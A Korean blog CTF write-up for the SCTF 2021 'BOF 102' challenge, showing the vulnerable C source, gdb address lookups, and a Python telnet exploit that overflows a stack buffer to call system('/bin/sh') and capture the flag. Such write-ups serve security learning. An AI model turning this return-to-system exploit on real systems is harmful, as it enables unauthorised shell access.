일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- web
- Windows 11
- IMAGE_EXPORT_DIRECTORY
- WSL
- RVA
- SQL Injection
- PE file format
- stack based buffer overflow
- Windows
- Buffer Overflow
- zsh theme customization
- Tutorial
- DOS Header
- 리버싱 핵심원리
- IMAGE_IMPORT_DESCRIPTOR
- GetProcAddress()
- NT Header
- samsung ctf
- oh-my-zsh
- ubuntu
- docker
- Windows Terminal
- sctf 2021
- attack vector
- DOS Stub
- NT Optional Header
- NT File Header
- powerlevel10k
- PE Header
- BOF
Archives
- Today
- Total
나만의 메모노트
[SCTF 2021] BOF 102 본문
이번 문제는 ShellCode를 획득하는 문제다.
1. Check Stack Frame
#include <stdio.h>
#include <stdlib.h>
char name[16];
void bofme() {
char payload[16];
puts("What's your name?");
printf("Name > ");
fflush(stdout);
scanf("%16s", name);
printf("Hello, %s.\n", name);
puts("Do you wanna build a snowman?");
printf(" > ");
fflush(stdout);
scanf("%s", payload);
printf("!!!%s!!!\n", payload);
puts("Good.");
}
int main() {
system("echo 'Welcome to BOF 102!'");
bofme();
return 0;
}
해당 소스코드에서는 payload가 입력될 때 buffer overflow가 발생한다.
다음은 해당 코드에 대한 스택 프레임이다.

2. Find system() address
gdb를 이용하여 bof102를 disassamble하여 분석해본다. (필자는 peda 사용)
GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB
PEDA - Python Exploit Development Assistance for GDB - GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB
github.com
gdb ./bof102
p system

system()의 주소 = 0x80483e0
3. Find name buffer address
pd bofme

name[16]의 시작주소 = 0x804a034
gdb를 통해 system의 주소와 system의 인자 값으로 name의 buffer address를 확인했다.
4. Write Attack Vector
3번까지 모두 진행했다면 각각 찾은 주소를 기반으로 Attack Vector를 다음과 같이 나타낼 수 있다.

위 그림을 토대로 exploit 코드를 작성하였다.
다음은 python으로 exploit 코드를 작성한 소스코드이다.
from telnetlib import Telnet
tn = Telnet("bof102.sstf.site", 1337)
tn.read_until(b"Name > ")
tn.write(b"/bin/sh" + b"\n")
payload = b"A" * (16 + 4)
payload += b"\xe0\x83\x04\x08"
payload += b"C" * 4
payload += b"\x34\xa0\x04\x08"
tn.read_until(b" > ")
tn.write(payload + b"\n")
tn.interact()
작성된 코드를 실행하면 다음과 같이 flag를 획득할 수 있다.

SCTF{B0F_A774ck_w1Th_arg5_1n_x86}
'Security > CTF Write-Up' 카테고리의 다른 글
[SCTF 2021] BOF 101 (0) | 2021.08.30 |
---|---|
[SCTF 2021] SQLi 102 (0) | 2021.08.23 |
[SCTF 2021] SQLi 101 (0) | 2021.08.23 |